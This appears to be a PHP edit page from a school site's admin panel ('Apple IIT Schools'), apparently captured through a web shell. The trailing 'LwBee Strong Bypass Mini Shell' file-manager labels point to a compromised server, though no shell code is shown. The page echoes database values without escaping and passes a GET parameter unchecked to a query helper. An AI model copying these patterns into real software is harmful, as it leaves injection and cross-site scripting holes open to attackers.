/home3/vehiclea/public_html/admin-appleiitfoundationschools-com/academic_edit.php
<?php
  include('include/header.php');
 
  if(!empty($_GET['edit'])){
    $select_academic = select_academicData($_GET['edit']);
    $academic = mysqli_fetch_array($select_academic);
 }
?>
<main id="main" class="main">

<div class="pagetitle">
  <h1>Apple IIT Schools</h1>
  <nav>
    <ol class="breadcrumb">
      <li class="breadcrumb-item"><a href="index.php">Home</a></li>
      <li class="breadcrumb-item ">Academic Entry Edit</li>
    </ol>
  </nav>
</div>
<section class="section">
      <div class="row">
        <div class="col-lg-12">

          <div class="card">
            <div class="card-body">
              <h5 class="card-title">Update Academic Entry</h5>

<?php
   if(!empty($_POST['submit'])){
    academic_EditData();
}
if(!empty($_GET['upd'])){
  ?>
  <div align="center"><h4 style="color:green;">Updated Data Successfully </h4></div>
  <?php
}
?>

 
    <form  method="post" onsubmit="return book_validation()"> 
          <div class="col-md-6">
            <label for="exampleInputEmail1" class="form-label">Academic Year</label>
            <input type="text" class="form-control" id="academicYear" name="academicYear" placeholder="Enter Academic Year" value="<?php echo $academic['yearOf'];?>">
            
        </div>
        <input type="hidden" name="edit_data" id="edit_data" value="<?= $academic['id']?>">
        <div class="mt-4">
        <input type="submit" class="btn" value="Update" name="submit" style="background-color: #69F0AE; color: #000000;">
         <a href="academicEntry.php" style="background-color:#7E57C2; color: #ffff;" class="btn">Back</a>
        </div>
        
    </form>
   
   
    </div>
    </div>

        </div>
      </div>
    </section>
  
   

</main><!-- End #main -->



<script src="https://code.jquery.com/jquery-1.11.1.min.js"></script>
<script src="https://cdn.jsdelivr.net/jquery.validation/1.16.0/jquery.validate.min.js"></script>
<script src="https://cdn.jsdelivr.net/jquery.validation/1.16.0/additional-methods.min.js"></script>
  <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>

  <script>
    function book_validation()
    {
      
        var branchname = $('#academicYear').val();
        var academic = $('#academic').val();
       
        if(branchname == '')
        {
          swal('Please Enter Academic Year');
          return false;
        }
      
       
        else{
          return true;
        }
    }
  </script>

  <?php  include('include/footer.php'); ?>
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File